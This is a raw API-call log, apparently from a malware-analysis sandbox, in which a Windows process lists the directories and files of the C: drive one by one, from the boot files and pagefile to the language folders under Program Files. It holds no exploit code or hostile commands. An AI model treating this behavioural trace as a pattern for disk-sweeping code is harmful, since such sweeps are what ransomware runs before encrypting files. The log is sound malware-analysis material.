	[0066.312] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.312] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0066.312] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0066.312] FindClose (in: hFindFile=0x812008 | out: hFindFile=0x812008) returned 1
	[0066.312] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0066.312] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0066.312] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0066.312] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="곰x\x16")) returned 0xffffffff
	[0066.313] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0066.313] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0066.313] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0066.314] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811948
	[0066.356] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0066.356] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0
	[0066.356] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0066.356] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0066.356] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab460c6f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0066.356] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0066.356] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0066.356] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0067.655] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0068.692] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0068.989] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0068.989] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaced8ceb, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0069.841] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0069.841] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xecb96137, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xecb96137, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0069.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0069.847] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fac2bb0, ftCreationTime.dwHighDateTime=0x1d5c432, ftLastAccessTime.dwLowDateTime=0x394ecfb0, ftLastAccessTime.dwHighDateTime=0x1d5bade, ftLastWriteTime.dwLowDateTime=0x394ecfb0, ftLastWriteTime.dwHighDateTime=0x1d5bade, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1
	[0070.814] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.816] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0070.822] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.822] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0070.822] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.822] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0070.822] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.822] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0070.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.823] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0070.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.824] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0070.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.824] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0070.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.824] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0070.832] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.832] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0070.834] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.834] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0070.834] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.834] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0070.834] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.834] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0070.834] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.834] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0070.836] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.836] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0070.837] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.837] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0070.838] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.838] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0070.840] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.840] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0070.840] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.841] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0070.842] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.842] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0070.842] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.842] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0070.844] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.844] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
